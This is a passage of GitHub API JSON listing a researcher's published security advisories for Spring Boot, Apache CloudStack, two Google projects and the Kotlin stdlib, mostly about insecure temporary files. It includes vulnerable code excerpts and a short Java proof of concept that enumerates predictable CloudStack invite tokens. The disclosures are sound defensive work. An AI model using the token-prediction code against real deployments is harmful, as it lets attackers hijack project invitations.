"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-cm59-pr5q-cw85", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-cm59-pr5q-cw85", "summary": "Temporary Directory Hijacking to Local Privilege Escalation Vulnerability in org.springframework.boot:spring-boot", "description": "This was originally spotted by [@trugPa](https://github.com/trungPa) and communicated here: https://github.com/github/codeql/pull/4473#issuecomment-1030416237\r\n\r\n### Impact\r\n\r\nspring-boot versions prior to version `v2.2.11.RELEASE` was vulnerable to temporary directory hijacking. This vulnerability impacted the `org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir` method.\r\n\r\nThe vulnerable method is used to create a work directory for embedded web servers such as Tomcat and Jetty. The directory contains configuration files, JSP/class files, etc. If a local attacker got the permission to write in this directory, they could completely take over the application (ie. local privilege escalation).\r\n\r\n#### Impact Location\r\n\r\nThis vulnerability impacted the following source location:\r\n\r\n```java\r\n\t/**\r\n\t * Return the absolute temp dir for given web server.\r\n\t * @param prefix server name\r\n\t * @return the temp dir for given server.\r\n\t */\r\n\tprotected final File createTempDir(String prefix) {\r\n\t\ttry {\r\n\t\t\tFile tempDir = File.createTempFile(prefix + \".\", \".\" + getPort());\r\n\t\t\ttempDir.delete();\r\n\t\t\ttempDir.mkdir();\r\n\t\t\ttempDir.deleteOnExit();\r\n\t\t\treturn tempDir;\r\n\t\t}\r\n```\r\n\\- https://github.com/spring-projects/spring-boot/blob/ce70e7d768977242a8ea6f93188388f273be5851/spring-boot-project/spring-boot/src/main/java/org/springframework/boot/web/server/AbstractConfigurableWebServerFactory.java#L165-L177\r\n\r\nThis vulnerability exists because `File.mkdir` returns `false` when it fails to create a directory, it does not throw an exception. As such, the following race condition exists:\r\n\r\n```java\r\nFile tmpDir =File.createTempFile(prefix + \".\", \".\" + getPort()); // Attacker knows the full path of the file that will be generated\r\n// delete the file that was created\r\ntmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Jetty.\r\n// and make a directory of the same name\r\n// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory\r\ntmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.\r\n// Attacker can write any new files to this directory that they wish.\r\n// Attacker can read any files created by this process.\r\n```\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nThis vulnerability was inadvertently fixed as a part of this patch: https://github.com/spring-projects/spring-boot/commit/667ccdae84822072f9ea1a27ed5c77964c71002d\r\n\r\nThis vulnerability is patched in versions `v2.2.11.RELEASE` or later.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-cm59-pr5q-cw85", "type": "GHSA" }, { "value": "CVE-2022-27772", "type": "CVE" } ], "state": "published", "created_at": "2022-02-07T18:42:15Z", "updated_at": "2022-03-23T17:16:52Z", "published_at": "2022-02-16T00:05:08Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.springframework.boot:spring-boot" }, "vulnerable_version_range": "< v2.2.11.RELEASE", "patched_versions": "v2.2.11.RELEASE", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "score": 7.8 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" }, { "cwe_id": "CWE-379", "name": "Creation of Temporary File in Directory with Insecure Permissions" } ], "cwe_ids": [ "CWE-377", "CWE-379" ], "credits": [ { "login": "trungPa", "type": "analyst" }, { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "trungPa", "id": 17810017, "node_id": "MDQ6VXNlcjE3ODEwMDE3", "avatar_url": "https://avatars.githubusercontent.com/u/17810017?v=4", "gravatar_id": "", "url": "https://api.github.com/users/trungPa", "html_url": "https://github.com/trungPa", "followers_url": "https://api.github.com/users/trungPa/followers", "following_url": "https://api.github.com/users/trungPa/following{/other_user}", "gists_url": "https://api.github.com/users/trungPa/gists{/gist_id}", "starred_url": "https://api.github.com/users/trungPa/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/trungPa/subscriptions", "organizations_url": "https://api.github.com/users/trungPa/orgs", "repos_url": "https://api.github.com/users/trungPa/repos", "events_url": "https://api.github.com/users/trungPa/events{/privacy}", "received_events_url": "https://api.github.com/users/trungPa/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" }, { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-vpcc-9rh2-8jfp", "cve_id": "CVE-2022-26779", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-vpcc-9rh2-8jfp", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-vpcc-9rh2-8jfp", "summary": "apache/cloudstack: Privileged escalation due to Predictable Seed in Pseudo-Random Number Generator (PRNG) and Use of Insufficiently Random Values", "description": "### Impact\r\n\r\nApache Cloudstack contains a privileged escalation vulnerability in the invite to project logic due to a predictable seed used in a PRNG.\r\n\r\n\r\n### Details\r\n\r\nWhen inviting a user or account to a project via the email, the methods `ProjectManagerImpl.inviteAccountToProject` or `ProjectManagerImpl.inviteUserToProject` are invoked, and a random token is emailed to the invitee to allow them to join the project.\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L849-L873\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L875-L895\r\n\r\nHowever, this random token is generated predictably using the method `generateToken` with the value of `10` using `System.currentTimeMillis()` as the seed for the random number generator.\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1350-L1359\r\n ```java\r\n public static String generateToken(int length) {\r\n String charset = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n Random rand = new Random(System.currentTimeMillis());\r\n StringBuffer sb = new StringBuffer();\r\n for (int i = 0; i < length; i++) {\r\n int pos = rand.nextInt(charset.length());\r\n sb.append(charset.charAt(pos));\r\n }\r\n return sb.toString();\r\n }\r\n ```\r\n\r\nAs such, if an attacker knows around the time an invite was generated to invite another user, that attacker would be able to leverage the invite token to impersonate the invited user's invite acceptance.\r\n\r\nThe invite is stored in the database, but other than \"having the secret token\" there is no further checks that occur to ensure that the user taking advantage of the token is the user that the token was assigned to.\r\n\r\nThe site where the project invite is looked up form the database:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1202\r\nNotice how the account of the current user making the request isn't included in the lookup.\r\n\r\nThe user that is the current caller is pulled from the request here:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1189-L1190\r\n\r\nThen, that accepted invite is assigned to the calling user here:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1234\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1241\r\n\r\nAs such, an attacker is able to leverage an invite a project that they were never sent because they can compute the value of the invite token.\r\n\r\n\r\n### Proof Of Concept\r\n\r\nThe following code will print out all of the possible secret tokens for the next hour:\r\n\r\n```java\r\npublic static String generateToken(long time, int length) {\r\n String charset = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n Random rand = new Random(time);\r\n StringBuffer sb = new StringBuffer();\r\n for (int i = 0; i < length; i++) {\r\n int pos = rand.nextInt(charset.length());\r\n sb.append(charset.charAt(pos));\r\n }\r\n return sb.toString();\r\n}\r\n\r\npublic static void main(String[] args) {\r\n long startTime = System.currentTimeMillis();\r\n LongStream\r\n .rangeClosed(startTime + 0, startTime + (long) (3_600_000))\r\n .parallel()\r\n .mapToObj(time -> generateToken(time, 10))\r\n .forEach(System.out::println);\r\n}\r\n```\r\n\r\n### Patches\r\n\r\n - https://github.com/apache/cloudstack/commit/3fc4ef478d03cd20169d5a3dcdef6233724446be\r\n\r\n### Workarounds\r\n\r\nWhen executing the `addAccountToProject` API call, don't invite by email. Only invite by existing account or user.\r\n\r\n### Mitigating Factors\r\n\r\n`project.invite.required` is false by default and is something that must be enabled by end-users explicitly.\r\n\r\n### References\r\n\r\n - https://owasp.org/www-community/vulnerabilities/Insecure_Randomness\r\n\r\n### For more information\r\n\r\nOpen an issue with the Apache Cloudstack team here: https://github.com/apache/cloudstack/issues\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-vpcc-9rh2-8jfp", "type": "GHSA" }, { "value": "CVE-2022-26779", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T23:10:24Z", "updated_at": "2022-03-14T14:46:40Z", "published_at": "2022-03-10T17:04:18Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "none", "name": "apache/cloudstack" }, "vulnerable_version_range": "<= 4.16.0.0", "patched_versions": "4.16.1.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L", "score": 6.7 }, "cwes": [ { "cwe_id": "CWE-330", "name": "Use of Insufficiently Random Values" }, { "cwe_id": "CWE-337", "name": "Predictable Seed in Pseudo-Random Number Generator (PRNG)" } ], "cwe_ids": [ "CWE-330", "CWE-337" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7fjx-657r-9r5h", "cve_id": "CVE-2021-22571", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7fjx-657r-9r5h", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7fjx-657r-9r5h", "summary": "Insecure Temporary File in google / sa360-webquery-bigquery", "description": "### CVE Status\r\n\r\nCVE is pending via the CVE Appeals process with MITRE\r\n\r\n### Impact\r\n\r\n`TransferRunner` may disclose information to other users from WebQuery CSV report.\r\n\r\n### Patches\r\n\r\nVersion `v1.0.3` and higher is patched.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Workarounds\r\n\r\nIf you are unable to update: setting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n\r\n### References\r\n\r\n - https://github.com/google/sa360-webquery-bigquery/issues/14\r\n\r\nFix:\r\n - https://github.com/google/sa360-webquery-bigquery/commit/4926b5bf0e4be88f7a09badd145c50fa8a95e1cc#diff-4169b705389b36efbde7d57ec27a1ad2aa21c4385d2e535ee8354f79f03ae756L56\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7fjx-657r-9r5h", "type": "GHSA" }, { "value": "CVE-2021-22571", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T21:54:20Z", "updated_at": "2022-03-30T13:03:08Z", "published_at": "2022-03-09T16:50:35Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "application", "name": "google / sa360-webquery-bigquery" }, "vulnerable_version_range": "<= v1.0.2", "patched_versions": "v1.0.3", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-22c6-wcjm-qfjg", "cve_id": "CVE-2021-22572", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-22c6-wcjm-qfjg", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22c6-wcjm-qfjg", "summary": "Insecure Temporary File in google / data-transfer-project", "description": "### Impact\r\n\r\nInformation downloaded with the `google/data-transfer-project` may expose downloaded information to other local users.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nUpdates to version 0.3.57 or higher.\r\n\r\n### Additional Information\r\n - https://github.com/google/data-transfer-project/issues/968\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-22c6-wcjm-qfjg", "type": "GHSA" }, { "value": "CVE-2021-22572", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T21:43:29Z", "updated_at": "2022-03-30T13:02:44Z", "published_at": "2022-03-09T16:39:35Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "none", "name": "google / data-transfer-project" }, "vulnerable_version_range": "< 0.3.57", "patched_versions": "0.3.57", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "score": 5.0 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-5w9v-8x7x-rfqm", "cve_id": "CVE-2020-29582", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-5w9v-8x7x-rfqm", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-5w9v-8x7x-rfqm", "summary": "CWE-378/CWE-379: Kotlin StdLib - Creation of Temporary File/Directory With Insecure Permissions", "description": "### Impact\r\nKotlin Stdlib is vulnerable to CWE-378 - Insecure Temporary File & \tCWE-379 - Creation of Temporary File in Directory with Insecure Permissions.\r\n\r\nThese are the two vulnerable locations:\r\n\r\n- https://github.com/JetBrains/kotlin/blob/9b157fd291d581a30a3194940b0ebbb95a2fd247/libraries/stdlib/jvm/src/kotlin/io/files/Utils.kt#L14-L39\r\n - https://github.com/JetBrains/kotlin/blob/9b157fd291d581a30a3194940b0ebbb95a2fd247/libraries/stdlib/jvm/src/kotlin/io/files/Utils.kt#L41-L60\r\n\r\nHere is a simple unit test that demonstrates the vulnerability.\r\n\r\n```kotlin\r\npackage org.jlleitschuh.sandbox\r\n\r\nimport org.junit.jupiter.api.Test\r\nimport java.io.BufferedReader\r\nimport java.io.File\r\nimport java.io.IOException\r\nimport java.io.InputStreamReader\r\nimport java.nio.file.Files\r\n\r\nclass KotlinTempDirectoryPermissionCheck {\r\n @Test\r\n fun `kotlin check default directory permissions`() {\r\n val dir = createTempDir()\r\n runLS(dir.parentFile, dir) // Prints drwxr-xr-x\r\n }\r\n\r\n @Test\r\n fun `Files check default directory permissions`() {\r\n val dir = Files.createTempDirectory(\"random-directory\")\r\n runLS(dir.toFile().parentFile, dir.toFile()) // Prints drwx------\r\n }\r\n\r\n @Test\r\n fun `kotlin check default file permissions`() {\r\n val file = createTempFile()\r\n runLS(file.parentFile, file) // Prints -rw-r--r--\r\n }\r\n\r\n @Test\r\n fun `Files check default file permissions`() {\r\n val file = Files.createTempFile(\"random-file\", \".txt\")\r\n runLS(file.toFile().parentFile, file.toFile()) // Prints -rw-------\r\n }\r\n\r\n private fun runLS(file: File, lookingFor: File) {\r\n val processBuilder = ProcessBuilder()\r\n processBuilder.command(\"ls\", \"-l\", file.absolutePath)\r\n try {\r\n val process = processBuilder.start()\r\n val output = StringBuilder()\r\n val reader = BufferedReader(\r\n InputStreamReader(process.inputStream)\r\n )\r\n reader.lines().forEach { line ->\r\n if (line.contains(\"total\")) {\r\n output.append(line).append('\\n')\r\n }\r\n if (line.contains(lookingFor.name)) {\r\n output.append(line).append('\\n')\r\n }\r\n }\r\n val exitVal = process.waitFor()\r\n if (exitVal == 0) {\r\n println(\"Success!\")\r\n println(output)\r\n } else {\r\n //abnormal...\r\n }\r\n } catch (e: IOException) {\r\n e.printStackTrace()\r\n } catch (e: InterruptedException) {\r\n e.printStackTrace()\r\n }\r\n }\r\n}\r\n```\r\n\r\nA Kotlin application using createTempDir or createTempFile and placing sensitive information within either of these locations would be leaking this information in a read-only way to other users also on this system.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nThere are no patched versions with this vulnerability fixed. All versions remain vulnerable. However, the impacted methods have been deprecated.\r\n\r\nTo fully mitigate this vulnerability, ensure your code and all dependencies don't use the `createTempFile` or `createTempFile` methods offered by the Kotlin standard library.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems and all Kotlin versions.\r\n\r\nDepending upon the version of android you are using, this may also impact you. See the following resource: https://github.com/google/guava/issues/4011#issuecomment-772892561\r\n\r\n### References\r\n\r\nJetBrains does a really terrible job with fully disclosing the details of their own vulnerabilities unfortunately.\r\n\r\n - https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020/\r\n \r\n### For more information\r\n\r\nReach out to Jetbrains: security@jetbrains.com\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, 